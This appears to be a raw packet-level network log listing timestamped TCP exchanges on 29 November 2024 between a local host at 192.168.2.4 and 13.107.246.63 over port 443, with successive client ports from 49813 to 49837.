Nov 29, 2024 23:11:17.116483927 CET	443	49813	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.118870020 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.118921995 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.119009972 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.119255066 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.119270086 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.368978977 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.369029999 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.369092941 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.369256973 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.369287014 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.369313002 CET	49814	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.369326115 CET	443	49814	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.371983051 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.372009993 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.372095108 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.372260094 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.372271061 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.446058035 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.446110010 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.446255922 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.446342945 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.446351051 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.446360111 CET	49815	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.446362972 CET	443	49815	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.448786974 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.448827982 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.448900938 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.449033976 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.449049950 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.764878035 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.765259981 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.765297890 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:17.765707016 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:17.765712023 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.142324924 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.142805099 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.142818928 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.143337011 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.143341064 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.200274944 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.200316906 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.200469017 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.200561047 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.200581074 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.200591087 CET	49816	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.200596094 CET	443	49816	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.203325033 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.203341961 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.203429937 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.203573942 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.203583956 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.596337080 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.596378088 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.596427917 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.596630096 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.596641064 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.596652031 CET	49817	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.596656084 CET	443	49817	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.599458933 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.599505901 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:18.599591017 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.599745035 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:18.599761009 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.062886953 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.063318968 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.063328981 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.063760042 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.063765049 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.275475025 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.275950909 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.275963068 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.276375055 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.276379108 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.311963081 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.312323093 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.312355995 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.312684059 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.312690973 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.315466881 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.315726042 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.315740108 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.316066027 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.316071033 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.374001980 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.374366999 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.374388933 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.374751091 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.374757051 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.569830894 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.569880009 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.569943905 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.570123911 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.570135117 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.570146084 CET	49821	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.570151091 CET	443	49821	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.572691917 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.572706938 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.572787046 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.572957039 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.572967052 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.720016956 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.720072985 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.720179081 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.720340967 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.720350981 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.720360994 CET	49819	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.720365047 CET	443	49819	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.722510099 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.722537994 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.722611904 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.722747087 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.722758055 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.801289082 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.801346064 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.801397085 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.801508904 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.801527023 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.801537037 CET	49820	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.801542044 CET	443	49820	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.802273989 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.802320957 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.802366972 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.802570105 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.802573919 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.802603006 CET	49822	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.802607059 CET	443	49822	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.804116011 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.804138899 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.804223061 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.804953098 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.804970026 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.805046082 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.805273056 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.805273056 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.805284023 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.805289030 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.915024042 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.915117979 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.915170908 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.915302992 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.915323019 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.915334940 CET	49818	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.915338993 CET	443	49818	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.917727947 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.917745113 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:20.917819977 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.917975903 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:20.917987108 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.378043890 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.382560968 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.382576942 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.383059978 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.383064032 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.509049892 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.514066935 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.514079094 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.514461040 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.514466047 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.542179108 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.544073105 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.544089079 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.544444084 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.544449091 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.648257017 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.648605108 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.648612022 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.648983955 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.648988008 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.664309025 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.664576054 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.664596081 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.664884090 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.664887905 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.868626118 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.868674994 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.868741989 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.868917942 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.868927002 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.868936062 CET	49823	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.868940115 CET	443	49823	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.871340036 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.871380091 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.871450901 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.871582031 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.871598005 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.943747997 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.943794966 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.943852901 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.944036961 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.944048882 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.944057941 CET	49824	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.944062948 CET	443	49824	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.946224928 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.946249962 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:22.946331024 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.946441889 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:22.946453094 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.064574003 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.064623117 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.064670086 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.064783096 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.064795017 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.064805031 CET	49825	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.064809084 CET	443	49825	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.066787004 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.066821098 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.066881895 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.066993952 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.067006111 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.099478960 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.099561930 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.099606991 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.099668026 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.099672079 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.099703074 CET	49827	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.099706888 CET	443	49827	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.102077961 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.102092028 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.102138996 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.102416992 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.102427006 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.152002096 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.152050972 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.152105093 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.152318954 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.152332067 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.152340889 CET	49826	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.152344942 CET	443	49826	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.154548883 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.154587984 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:23.154650927 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.154793024 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:23.154809952 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.587637901 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.588125944 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.588202000 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.588535070 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.588541985 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.701966047 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.702425957 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.702447891 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.703057051 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.703062057 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.734709978 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.734988928 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.734996080 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.735328913 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.735332012 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.845421076 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.846107960 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.846121073 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.846468925 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.846474886 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.944921970 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.945559978 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.945606947 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:24.949035883 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:24.949048996 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.022819996 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.022869110 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.022919893 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.023062944 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.023080111 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.023089886 CET	49828	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.023096085 CET	443	49828	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.025340080 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.025373936 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.025445938 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.025566101 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.025578022 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.146269083 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.146349907 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.146406889 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.146496058 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.146507025 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.146517992 CET	49831	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.146522045 CET	443	49831	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.148257017 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.148287058 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.148355961 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.148458958 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.148473024 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.179024935 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.179080963 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.179131985 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.179234982 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.179239988 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.179250956 CET	49829	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.179254055 CET	443	49829	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.180931091 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.180943966 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.181008101 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.181103945 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.181114912 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.289783001 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.289829016 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.289880991 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.290033102 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.290057898 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.290067911 CET	49830	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.290074110 CET	443	49830	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.292229891 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.292277098 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.292330027 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.292495966 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.292511940 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.422988892 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.423032999 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.423080921 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.423224926 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.423249960 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.423261881 CET	49832	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.423266888 CET	443	49832	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.426068068 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.426085949 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:25.426150084 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.426276922 CET	49837	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:25.426285982 CET	443	49837	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:26.749686003 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:26.750277996 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:26.750293970 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:26.750721931 CET	49833	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:26.750726938 CET	443	49833	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:26.971256018 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:26.971672058 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:26.971688032 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:26.972201109 CET	49835	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:26.972209930 CET	443	49835	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.007829905 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.008559942 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.008590937 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.008959055 CET	49834	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.008963108 CET	443	49834	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.071885109 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.072222948 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.072244883 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.072609901 CET	49836	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:27.072614908 CET	443	49836	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:27.185609102 CET	443	49833	13.107.246.63	192.168.2.4
